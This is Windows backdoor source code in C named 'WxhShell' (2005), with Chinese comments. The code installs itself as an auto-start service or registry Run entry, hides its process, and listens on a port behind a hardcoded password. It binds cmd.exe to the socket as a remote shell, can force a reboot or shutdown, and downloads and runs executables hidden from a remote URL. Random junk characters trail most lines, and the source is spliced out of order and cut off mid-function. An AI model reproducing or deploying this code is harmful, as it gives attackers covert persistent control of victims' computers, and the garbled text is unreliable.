    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{jMO  
    else { +Y sGH~jX  
    closesocket(wsh); (@+pz/  
    ExitThread(0); t<p#u=jOa  
    } z3tx]Ade  
    break; 6(bN*.  
    } Fvl\.  
  // 获取shell $v;WmYTJ  
  case 's': { #c^]p/  
    CmdShell(wsh); x|rc[e%k  
    closesocket(wsh); lmzHE8MUNu  
    ExitThread(0); 1_] X  
    break; \%a0Lp{ I  
  } 89FAh6uE  
  // 退出 Xxg|01  
  case 'x': { V/ G1C^'/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 73cb1 kfPd  
    CloseIt(wsh); Trv}YT.  
    break; L@S\ rImw  
    } 4>jHS\jc  
  // 离开 O2{["c e  
  case 'q': { SH?McBxS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )j36Y =r3  
    closesocket(wsh); ,<rC,4-F<  
    WSACleanup(); h+Co:pr  
    exit(1); F}_b7 |^  
    break; ;'n%\*+fHH  
        } =GX5T(P8k  
  } +#FqC/`l  
  } 2LtDS?)@  
%} `` :  
  // 提示信息 yW|J`\`^T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eJ?oz^  
} P51M?3&=l  
  } R5uG.Oj-2  
b w P=f.  
  return; ,>a!CnK=  
} 90Ki.K0  
k: Pn.<  
// shell模块句柄 gXdMGO>  
int CmdShell(SOCKET sock) ~S8:xG+s  
{ Qo#]Lo> \g  
STARTUPINFO si; V+E8{|dYL  
ZeroMemory(&si,sizeof(si)); 8Sr'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,UY1.tR(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Fo#Dmq3  
PROCESS_INFORMATION ProcessInfo; "JB4 Uaa  
char cmdline[]="cmd"; |(>`qL{|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QoZV 6  
  return 0; lmeTW0U@9(  
} b)d;eS  
Nm?^cR5r  
// 自身启动模式 dR S:S_  
int StartFromService(void) V"YeF:I  
{ A(FnU:  
typedef struct FCE y1^u  
{ %~!4DXrMk  
  DWORD ExitStatus; L kK *.  
  DWORD PebBaseAddress; Ul}RT xJ  
  DWORD AffinityMask; DSU8jnrL  
  DWORD BasePriority; kUd]8Ff!  
  ULONG UniqueProcessId; ;qWu8\T+  
  ULONG InheritedFromUniqueProcessId; LiG$M{0  
}   PROCESS_BASIC_INFORMATION; &i5@4,p y9  
vjS`;^9  
PROCNTQSIP NtQueryInformationProcess; E_ns4k#uG  
S<0 &V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o$No@~%v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `8!9Fp  
DDeU:  
  HANDLE             hProcess; T*x2+(r  
  PROCESS_BASIC_INFORMATION pbi; #Z%" ?RJ  
hq=;ZI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |7|S>h^  
  if(NULL == hInst ) return 0; 0g?)j-  
:$k*y%Z*N&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hne@I1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b>uD-CSA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (;{X-c}?  
d0(zB5'}  
  if (!NtQueryInformationProcess) return 0; E4 X6f  
y:;.r:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9;@p2t*v  
  if(!hProcess) return 0; UGcmzwE  
:?Ns>#6t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )2[)11J9t  
_(N+z.  
  CloseHandle(hProcess); f^F;`;z  
981-[ga `Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |+nmOi,z  
if(hProcess==NULL) return 0; N"70P/  
25SWIpgG  
HMODULE hMod; eAy,T<#  
char procName[255]; c{M ,K  
unsigned long cbNeeded; 6w^P{%ul  
(/]'e}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z8SwW<{ $  
Uy?jVPL  
  CloseHandle(hProcess); j?K$w`  
yK*vn]}  
if(strstr(procName,"services")) return 1; // 以服务启动 _ Sr}3  
"hk# pQ  
  return 0; // 注册表启动 e*:K79 y  
} |v!N1+v0  
QOWGQl%!  
// 主模块 d(q1 ?{zr4  
int StartWxhshell(LPSTR lpCmdLine) p@tg pFt  
{ *[si!e%  
  SOCKET wsl; hYJzF.DW<$  
BOOL val=TRUE; u$T]A8e  
  int port=0; U=n7RPw  
  struct sockaddr_in door; 4XpWDfa.}  
BSm"]!D8*  
  if(wscfg.ws_autoins) Install(); 2k.VTGak  
X*2W4udF  
port=atoi(lpCmdLine); cH5i420;aO  
f[o~d`z  
if(port<=0) port=wscfg.ws_port; '_c/CNs  
'z$N{p40m  
  WSADATA data; 7+HK_wNi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $TIeeTB  
v=llg ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @v)Z>xv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~q`!928Gu  
  door.sin_family = AF_INET; }5 rR^ryA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i'ap8Dr  
  door.sin_port = htons(port); !ho^:}m  
Qq,2V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bmG`:_  
closesocket(wsl); z CLaHx!  
return 1;  t`o"K  
} $_.t'8F  
\|HtE(uCM1  
  if(listen(wsl,2) == INVALID_SOCKET) { EX]+e  
closesocket(wsl); a'VQegP(f\  
return 1; :kgh~mx5LF  
} F6\{gQ<E  
  Wxhshell(wsl); d( v"{N}  
  WSACleanup(); Q|_F P:  
~]KdsT(=_  
return 0; digc7;8L  
im>(^{{r&  
} qb"S   
@)Vpj\jM-C  
// 以NT服务方式启动 :60v bO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #UM,)bH  
{ D[$"nc/  
DWORD   status = 0; CNNqS^ct  
  DWORD   specificError = 0xfffffff; [> HKRVy  
[mtp-4*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ob7'''i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VX)8 pV$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 65LtCQ }  
  serviceStatus.dwWin32ExitCode     = 0; *;A ;)'  
  serviceStatus.dwServiceSpecificExitCode = 0; Pe%[d[ k  
  serviceStatus.dwCheckPoint       = 0; b <W\#3~G  
  serviceStatus.dwWaitHint       = 0; kt yplo#F  
i~u4v3r=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j<^!"_G]*?  
  if (hServiceStatusHandle==0) return; 5%,3)H{;t  
r^ r+h[V  
status = GetLastError(); _}R$h=YD  
  if (status!=NO_ERROR) _pdKcE\X  
{ I\)`,w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KXt8IMP_"y  
    serviceStatus.dwCheckPoint       = 0; %vmd2}dA  
    serviceStatus.dwWaitHint       = 0; Z=Y29V8  
    serviceStatus.dwWin32ExitCode     = status; <nk|Z'G E  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nc+0_|,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iK}p#"si  
    return; KsULQJ#,  
  } C*Q7@+&  
:C5w5 Vnj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Rv ;~f/2  
  serviceStatus.dwCheckPoint       = 0; 5IU!BQU  
  serviceStatus.dwWaitHint       = 0; =4_}.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R_EU|a  
} j^jC|  
S`-I-VS=L  
// 处理NT服务事件,比如:启动、停止 #BRIp(65-6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O=Su E/q  
{ kQ+y9@=/g  
switch(fdwControl) PZ]tl  
{ 5_9`v@-4_  
case SERVICE_CONTROL_STOP: F,_L}  
  serviceStatus.dwWin32ExitCode = 0; f`qy~M&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -zK>{)Z=q  
  serviceStatus.dwCheckPoint   = 0; D.Ke  
  serviceStatus.dwWaitHint     = 0; ~n 'A1  
  { I0 t#{i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HI5NWdfRl  
  } t'_EcYNS  
  return; 2}^=NUM\NX  
case SERVICE_CONTROL_PAUSE: _ZRmD\_t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J^8j|%h%e  
  break; Dl>tF?=  
case SERVICE_CONTROL_CONTINUE: J4qk^1m.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5o6IpF 0V  
  break; e'mF1al  
case SERVICE_CONTROL_INTERROGATE: \Z5Wp5az},  
  break; wUvE  
}; jIKg* @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@pwOHQn<|  
} ed'[_T}T3t  
c]pz&  
// 标准应用程序主函数 QQAEG#.5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5*z>ez2YQ7  
{ Luao?;|U  
:hICe+2ca  
// 获取操作系统版本 [Qs`@u<%  
OsIsNt=GetOsVer(); KS_+R@3Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YdD; Qx#O  
$:u*)&"t|  
  // 从命令行安装 YKe&Ph.  
  if(strpbrk(lpCmdLine,"iI")) Install(); -mJs0E*g  
QFnuu-82"  
  // 下载执行文件 ld(60?z>FH  
if(wscfg.ws_downexe) { 6 lzjaW5h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {t;o^pUF  
  WinExec(wscfg.ws_filenam,SW_HIDE); *<\ `"C;  
} 89 d%P J0  
xh;gAh5n  
if(!OsIsNt) { W'6DwV|  
// 如果时win9x,隐藏进程并且设置为注册表启动 &A s>Y,y  
HideProc(); EC,,l'%a|/  
StartWxhshell(lpCmdLine); hk !=ZE3  
} ;Am3eJa*-  
else 7~2_'YX>:  
  if(StartFromService()) th{J;a  
  // 以服务方式启动 U)dcemQY  
  StartServiceCtrlDispatcher(DispatchTable); Lv+{@)  
else +  }"+  
  // 普通方式启动 X1w11Z7o  
  StartWxhshell(lpCmdLine); $z!G%PO1%  
HD<$0M|  
return 0; n1\$|[^6  
} "I56l2dxd  
}8^qb5+!3  
 ]j0+4w  
{^oohW -  
=========================================== "e-z 2G@z  
knO X5UnS  
 ];5J  
g:uVl;>  
J *LPv9)  
L\mF[Kd#+T  
" ?EUg B\  
La6 9or   
#include <stdio.h> EI=~*&t  
#include <string.h> ";U~wZW_  
#include <windows.h> aH;AGbp  
#include <winsock2.h> e\~nqKCb  
#include <winsvc.h> huqtk4u  
#include <urlmon.h> A^}#  
ql9n`?Q  
#pragma comment (lib, "Ws2_32.lib") ~Jf(M ^E  
#pragma comment (lib, "urlmon.lib") /BgX Y}JC.  
6EC',=)6R  
#define MAX_USER   100 // 最大客户端连接数 n]6 '!Eo  
#define BUF_SOCK   200 // sock buffer (pH)QG  
#define KEY_BUFF   255 // 输入 buffer {n>.Y -=  
8`S1E0s  
#define REBOOT     0   // 重启 ksq4t  
#define SHUTDOWN   1   // 关机 n\;;T1rM  
pYcs4f!?p  
#define DEF_PORT   5000 // 监听端口 #j7&2L  
Zf>:h   
#define REG_LEN     16   // 注册表键长度 r!b>!  
#define SVC_LEN     80   // NT服务名长度 "PMJh3q  
cKYvNM  
// 从dll定义API F7' MoH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $j,$O>V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f5//?ek  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a )lCp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j f4<LmR  
\i?bt0bM  
// wxhshell配置信息 2RZa}  
struct WSCFG { wMkHx3XD  
  int ws_port;         // 监听端口 _#M4zO7  
  char ws_passstr[REG_LEN]; // 口令 .S:(O+#Gm  
  int ws_autoins;       // 安装标记, 1=yes 0=no C'@I!m._i  
  char ws_regname[REG_LEN]; // 注册表键名 `(j~b=PP  
  char ws_svcname[REG_LEN]; // 服务名 =m<b+@?T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b7hICO-w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pIR_2Eq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2r2:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dlz0*eHD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p+Q9?9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }\m.~$|[  
Qu#[PDhb  
}; WS6Qp`c )e  
0]f/5jvLj  
// default Wxhshell configuration 8'E7Uj  
struct WSCFG wscfg={DEF_PORT, qbQdx Kk  
    "xuhuanlingzhe", .0,G4k/yv  
    1, a{ke%W$*P  
    "Wxhshell", &W3srJo  
    "Wxhshell", t[;-gi,,  
            "WxhShell Service", 5OPvy,e6  
    "Wrsky Windows CmdShell Service", G5|nt#>  
    "Please Input Your Password: ", gs+n J+b  
  1, H|e7IsY%  
  "http://www.wrsky.com/wxhshell.exe", {|$kI`h,3-  
  "Wxhshell.exe" k@9hth2Q  
    }; A1;'S<a  
7%$3`4i`O  
// 消息定义模块 <FR!x#!   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qYoU\y7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eve,*ATI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yOD=Vc7i  
char *msg_ws_ext="\n\rExit."; zA?AX1%Wa  
char *msg_ws_end="\n\rQuit."; 3u t<o-  
char *msg_ws_boot="\n\rReboot..."; ^f N/  
char *msg_ws_poff="\n\rShutdown..."; ?*UWg[  
char *msg_ws_down="\n\rSave to ";  R`o Xkj  
\0Xq&CG=E  
char *msg_ws_err="\n\rErr!"; #'@@P6o5  
char *msg_ws_ok="\n\rOK!"; 2f{p$YIt  
]w,|WZm  
char ExeFile[MAX_PATH]; vH}VieU  
int nUser = 0; ;TC]<N.YJT  
HANDLE handles[MAX_USER]; [ Y{  
int OsIsNt; SnX)&>B  
P_H2[d&/>D  
SERVICE_STATUS       serviceStatus; o+{7"Na8[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^r<l#D,  
&hZ.K"@7{  
// 函数声明 mz x$(u  
int Install(void); #lik: ?  
int Uninstall(void); :RDk{^b)  
int DownloadFile(char *sURL, SOCKET wsh); 1fV)tvU$  
int Boot(int flag); 1}Guhayy  
void HideProc(void); \d.\M  
int GetOsVer(void); 'ahz@+l O  
int Wxhshell(SOCKET wsl); vz3olHX  
void TalkWithClient(void *cs); jZ"j_ =o@  
int CmdShell(SOCKET sock); #zgO_ H  
int StartFromService(void); 3A0Qjj=  
int StartWxhshell(LPSTR lpCmdLine); =oq=``%  
00SS<iX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @K S.H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6*EIhIQ(  
w`< {   
// 数据结构和表定义 @+ T33X)h%  
SERVICE_TABLE_ENTRY DispatchTable[] = O9<oq  
{ w87$p821  
{wscfg.ws_svcname, NTServiceMain}, X]2x0  
{NULL, NULL} Jq"3xj   
}; I\-M`^@  
UCj<FN `  
// 自我安装 YuHXm3[  
int Install(void) :}q)]W  
{ M<= e~';H  
  char svExeFile[MAX_PATH]; (]?M=?0\  
  HKEY key; o:*$G~. k  
  strcpy(svExeFile,ExeFile); V@y&n1?6  
(+xT5 2  
// 如果是win9x系统,修改注册表设为自启动 mBB"e"o  
if(!OsIsNt) { ;*+H&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <e S+3,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OXl0R{4  
  RegCloseKey(key); MOytxl:R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z<=L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ugj I$u  
  RegCloseKey(key); 2[1t )EW  
  return 0; ] X)~D!mA  
    } u^Ktz DmL  
  } WAtv4  
} 4$mtc*tzT  
else { LOG>x!  
8 .K; 2  
// 如果是NT以上系统,安装为系统服务 Wwr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A42!%>PB  
if (schSCManager!=0) ']sj W'~  
{ y,OG9iD:h  
  SC_HANDLE schService = CreateService VMo:pV  
  (  > T:0  
  schSCManager, *)?'!  
  wscfg.ws_svcname, ?|Z~mE  
  wscfg.ws_svcdisp, '6g-]rE[  
  SERVICE_ALL_ACCESS, j B1ZF#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZP@NV|B  
  SERVICE_AUTO_START, De{ZQg)  
  SERVICE_ERROR_NORMAL, .!+7|us8l\  
  svExeFile, ,h/l-#KS  
  NULL, f)Y~F/[$P  
  NULL, /<-=1XJI  
  NULL, zK_P3r LsS  
  NULL, zTPNQ0=|  
  NULL P0sAq7"  
  ); @A`j Wao  
  if (schService!=0) c/j+aj0.v  
  { Eg}U.ss^  
  CloseServiceHandle(schService); SjF(;0k C  
  CloseServiceHandle(schSCManager); }7xcHVO8-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <dVJV?i;  
  strcat(svExeFile,wscfg.ws_svcname); 5eyB\>k,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  M_%c9g@x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +7AH|v8  
  RegCloseKey(key); CY*GCkH  
  return 0; i{:iRUC#  
    } cF EO}  
  } YdIZikF#  
  CloseServiceHandle(schSCManager); 19[!9ci  
} +%WW8OX   
} j/NX  
p&4n"hC  
return 1; <5#2^(  
} nz#eJ  
 T-+ uQ3  
// 自我卸载 'n\PS,[1R  
int Uninstall(void) Hr7pcz/#l  
{ mb%U~Na  
  HKEY key; 8GjETq%}  
MR5[|kHJT  
if(!OsIsNt) { '{.8tT ?tJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M^hz<<:$  
  RegDeleteValue(key,wscfg.ws_regname); 6hcK%0z  
  RegCloseKey(key); @o#Yq n3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nz*,m'-1e  
  RegDeleteValue(key,wscfg.ws_regname); -II03 S1  
  RegCloseKey(key); l[%=S!  
  return 0; Lp4F1H2t-  
  } Br{(sL0e  
} L8Z@Dk7Y  
} p-w:l*-`  
else { yOAC<<Tzus  
Mc(|+S@w'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f/\S:x-B  
if (schSCManager!=0) 7[K3kUm[  
{ -okq= 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F!4V!VWA}  
  if (schService!=0) bC) <K/Q9  
  { rce._w }  
  if(DeleteService(schService)!=0) { a"t~ K  
  CloseServiceHandle(schService); 4%_xT o  
  CloseServiceHandle(schSCManager); .!i`YT*jF  
  return 0; wa`c3PQGu  
  } >p;&AaXkoG  
  CloseServiceHandle(schService); u86@zlzd  
  } 28c6~*Te #  
  CloseServiceHandle(schSCManager); e{XzUY6  
} Rh$+9w  
} y7rT[f/J  
s aHY9{)  
return 1; BgDWl{pm  
} x%[NK[^&  
hsYE&Np_Q  
// 从指定url下载文件 .=d40m  
int DownloadFile(char *sURL, SOCKET wsh) PyK!Cyq  
{ R7!v=X]i  
  HRESULT hr; ?2\oi*$  
char seps[]= "/"; Qgv g*KX  
char *token; D/;[x{;E  
char *file; YTTi j|(  
char myURL[MAX_PATH]; G-R83Orl  
char myFILE[MAX_PATH]; bu $u@:q 6  
pjoyMHWK  
strcpy(myURL,sURL); loE;q}^  
  token=strtok(myURL,seps); esQ`6i  
  while(token!=NULL) UWK|_RT6SA  
  { kCoE;)y$  
    file=token; ]%FP*YU4O  
  token=strtok(NULL,seps); @,c` #,F/  
  } KK6z3"tk5  
gN7 3)uJ0  
GetCurrentDirectory(MAX_PATH,myFILE); D`'Cnt/  
strcat(myFILE, "\\"); qK2jJ3)>  
strcat(myFILE, file); Hi/[  
  send(wsh,myFILE,strlen(myFILE),0); V\e1NS  
send(wsh,"...",3,0); ^,5%fl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #`K{vj  
  if(hr==S_OK) ue@W@pj  
return 0; jt9- v-  
else U}k@%m,  
return 1; ]>*VEe}hJ  
piuM#+Y\'S  
} H!OX1F  
Iu5 9W >  
// 系统电源模块 8t) g fSG  
int Boot(int flag) 1w7XM0SHcn  
{ b?lRada{I  
  HANDLE hToken; N7 hlM  
  TOKEN_PRIVILEGES tkp; \7#w@3*  
^e ;9_(  
  if(OsIsNt) { V8&'dhuG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iVf7;M8O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t.VVE:A^%  
    tkp.PrivilegeCount = 1; FKL@,>!<e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wPu.hVz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mO(Y>|mm  
if(flag==REBOOT) { so/0f1R?~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J|^z>gP(  
  return 0; mh`uvqY  
} ur=:Ha  
else { ,oSn<$%/q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qN9 ?$\  
  return 0; F7nwV Dc*  
} }A;YM1^$  
  } F< 5kcu#iL  
  else { ;T8(byH ?  
if(flag==REBOOT) { .XRe:\8mc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pzUr9  
  return 0; *QI Yq  
} w Jp1Fl~  
else { I|>.&nb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J7aYi]vI  
  return 0; .3VL  
} e>.^RtDF  
} |cp_V  
a#[gNT~[  
return 1; BafNF Pc  
} 2QEH!)lvr  
|%fNLUJ)  
// win9x进程隐藏模块 *A8Et5HAv  
void HideProc(void) l{ql'm  
{ 5K682+^5  
v&7<f$5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 84reyA  
  if ( hKernel != NULL ) .3XiL=^~Qp  
  { rnp; R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /0Qo(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,O:p`"3`0=  
    FreeLibrary(hKernel); 1ah,Zth2  
  } ,Shzew+  
wq!9wk9  
return; $sg-P|Wo  
} YWDgRb  
j8bA"r1  
// 获取操作系统版本 S~ S>62  
int GetOsVer(void)  "^BA5  
{ 1OMaY5F  
  OSVERSIONINFO winfo; N#)Klq87z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3O1Lv2)_  
  GetVersionEx(&winfo); 2EN}"Du]mj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ui9;rh$1eU  
  return 1; I.|b:c xN  
  else ;L#RFdh  
  return 0; B]}gfVO  
} 8'b ZR]  
JC~4B3!  
// 客户端句柄模块 iC^G^~V+H  
int Wxhshell(SOCKET wsl)  YGs'[On8  
{ %6^nb'l'C  
  SOCKET wsh; Qb%; |li  
  struct sockaddr_in client; hNkv lk'Ui  
  DWORD myID; PVdN)tG5  
~)>.%`v&  
  while(nUser<MAX_USER) w`+-xT%  
{ v*.iNA;&i  
  int nSize=sizeof(client); <RbfW'<G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V?) V2>]  
  if(wsh==INVALID_SOCKET) return 1; !wfUD2 K1  
.f;@O qU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u*uHdV5  
if(handles[nUser]==0) dn?'06TD  
  closesocket(wsh); a.JjbFL  
else |22vNt_  
  nUser++; `' EG7  
  } qdKqc,R1{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3XQe? 2:<  
f#!nj]}#  
  return 0; 1q5S"=+W[  
} Q8QB{*4  
vdB2T2F  
// 关闭 socket i^Jw`eAmT  
void CloseIt(SOCKET wsh) F^%\AA]8  
{ Fv$w:r]q6  
closesocket(wsh); Jg{K!P|i  
nUser--; Y"KJ`Rx  
ExitThread(0); &b*v7c=o  
} ,,80nW9E  
LikCIO  
// 客户端请求句柄 matm>3n  
void TalkWithClient(void *cs) 4 x4[  
{ h)j#?\KYm9  
f?eq-/UR  
  SOCKET wsh=(SOCKET)cs; w2/3[VZ}l  
  char pwd[SVC_LEN]; )K$xu(/K  
  char cmd[KEY_BUFF]; hu"-dT;4]  
char chr[1]; 0`p"7!r  
int i,j; ! 9*l!(  
(4yXr|to}  
  while (nUser < MAX_USER) { d7QUg 6=  
@(E6P;+{  
if(wscfg.ws_passstr) { ;V?(j 3b[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0.nkh6 ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Y7$cU &  
  //ZeroMemory(pwd,KEY_BUFF); y!R9)=/M  
      i=0; qxHn+O!h  
  while(i<SVC_LEN) { m?Cb^WgcF  
0c!^=(  
  // 设置超时 aj .7t =^  
  fd_set FdRead; )1@%!fr  
  struct timeval TimeOut; /uDcJ1u66  
  FD_ZERO(&FdRead); L>E{~yh  
  FD_SET(wsh,&FdRead); eLXL5&}`fh  
  TimeOut.tv_sec=8; oTXIs4+G  
  TimeOut.tv_usec=0; kjdIk9 Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (f_J @n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q*Hg-J}  
v''J@F7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {YrA [9  
  pwd=chr[0]; c'Ibgfx%m  
  if(chr[0]==0xd || chr[0]==0xa) { H]wP \m)  
  pwd=0; O&;d82IA{  
  break; K]M@t=  
  } /?XI,#j3kM  
  i++; \Zx&J.D  
    } L2}<2  
7 H:y=?X6  
  // 如果是非法用户,关闭 socket F]>+pU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v.TgB)  
} -JPkC(V7]  
c>3? T^=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~OxFgKn23&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7,Z<PE  
ZHeq)5C ;f  
while(1) { ;/?w-)n?  
t>*(v#WeZ  
  ZeroMemory(cmd,KEY_BUFF); 3W#E$^G_v  
!^0vi3I  
      // 自动支持客户端 telnet标准   `Je1$)%  
  j=0; QOrMz`OA  
  while(j<KEY_BUFF) { !?+0O]`}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xc" %-  
  cmd[j]=chr[0]; =OPX9oG  
  if(chr[0]==0xa || chr[0]==0xd) { ! os@G  
  cmd[j]=0; >mJ`904L  
  break; 'X6Y!VDd  
  } P(Zj}tGN  
  j++; 8==M{M/eM  
    } k W 8>VnW  
2P@6Qe ?  
  // 下载文件 >JY\h1+ H  
  if(strstr(cmd,"http://")) { 0nB[Udk?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FyPG5-  
  if(DownloadFile(cmd,wsh)) qIQ 61><  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~[og\QZX  
  else Vmh$c*TE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vRf$#fBEQ  
  } *f>\X[wN  
  else { '!?t+L%gO  
>g~IP>  
    switch(cmd[0]) { ^P]5@dv  
  pBv,,d`  
